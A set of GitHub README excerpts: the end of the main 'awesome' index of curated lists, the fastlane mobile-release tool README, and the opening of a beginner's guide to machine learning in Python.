- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [Grakn](https://github.com/graknlabs/awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
- [Privacy](https://github.com/pluja/awesome-privacy) - Protect your privacy.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](http://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
|
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[](https://formulae.brew.sh/formula/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
[](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
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✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
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## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
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If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
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<a href='https://github.com/minuscorp'>
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<a href='https://github.com/mgrebenets'>
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<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
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</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
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<a href='https://github.com/crazymanish'>
<img src='https://github.com/crazymanish.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/iammanishrathi'>Manish Rathi</a></h4>
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<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png' width='140px;'>
</a>
<h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4>
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<a href='https://github.com/hjanuschka'>
<img src='https://github.com/hjanuschka.png' width='140px;'>
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<a href='https://github.com/lucgrabowski'>
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<a href='https://github.com/jdee'>
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Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
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## Code of Conduct
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## License
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> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
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✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
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|
# Dive into Machine Learning [](http://creativecommons.org/licenses/by/4.0/) [](https://github.com/sindresorhus/awesome)
**Hi there! This guide is for you:**
* **You're new to Machine Learning.**
* **You know Python.** (At least the basics! If you want to learn Python, try [Dive Into Python.](http://www.diveintopython.net/))
I learned Python by hacking first, and getting serious *later.* I wanted to do this with Machine Learning. If this is your style, join me in getting a bit ahead of yourself.
_Note:_ There are several fields within "Data" and Machine Learning is just one. It's good to know the context: [What is the difference between Data Analytics, Data Analysis, Data Mining, Data Science, Machine Learning, and Big Data?](http://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1)
# Get your feet wet!
I suggest you get your feet wet ASAP. You'll boost your confidence.
## Tools you'll need
- [Python](https://www.python.org/). Python 3 is the best option.
- [IPython and the Jupyter Notebook](http://ipython.org/). (FKA IPython and IPython Notebook.)
